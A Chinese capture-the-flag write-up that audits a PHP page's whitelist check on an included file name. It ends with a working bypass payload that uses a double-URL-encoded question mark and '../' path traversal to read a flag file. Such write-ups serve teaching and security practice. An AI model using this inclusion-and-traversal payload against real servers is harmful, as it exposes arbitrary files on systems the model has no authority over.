1.点开一看发现一个表情包,f12查看源码发现提示让去找source.php页面,转到source.php页面后看到如下代码,日常代码审计,再看其中提到了hint.php,接下来跳转到hint.php看,提示flag not here, and flag in ffffllllaaaagggg
<?php
highlight_file(__FILE__);//指定地址
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
先看这一块,看看如何传值如果
if (! empty($_REQUEST['file']) //如果$_REQUEST['file']传值非空
&& is_string($_REQUEST['file'])//并且检测是否是字符串
&& emmm::checkFile($_REQUEST['file'])//并且能通过checkfile的检测
) {
include $_REQUEST['file'];//这时就把$_REQUEST['file']包含进去
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
} //如果不行就打印出表情包
?>
知识点:
is_string()函数用于检测变量是否是字符串。
::是调用类中抄的静态方法或者常量,
接下来看class类中对checkfile检测的方法
<?php
highlight_file(__FILE__);//指定地址
class emmm//定义emmm类用于下边的if判断
{
public static function checkFile(&$page)//创建checkFIle方法并把传进来的参数给$page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明白名单
if (! isset($page) || !is_string($page)) {//如果page变量不存在或者非字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {//如果page变量存在于白名单中
return true;
}
$_page = mb_substr(//截取$page中?前部分,如果没有就截取整个$page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {//判断page变量是否存在于白名单中
return true;
}
$_page = urldecode($page);//url解码$page
$_page = mb_substr(//截取$page中?前部分,如果没有就截取整个$page
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
知识点:
highlight_file() 函数对文件进行语法高亮显示
_FILE_:获得文件的绝对地址
=>符号来分隔键和值,左侧表示键,右侧表示值
mb_substr() 函数返回字符串的一部分
mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置
in_array() 函数搜索数组中是否存在指定的值。
因为两次判断是否在白名单中又要对问号前的部分,并且第二次截取的时候要先url解码后在截取,让file包含进去所以就可以构造
?file=source.php?../../../../../ffffllllaaaagggg //因为不知道ffffllllaaaagggg的路径就逐渐添加../的个数来找
因为会进行一次url解码所以对第二个问号进行两次url编码也就是%253f
所以最终的
?file=source.php%253f../../../../../ffffllllaaaagggg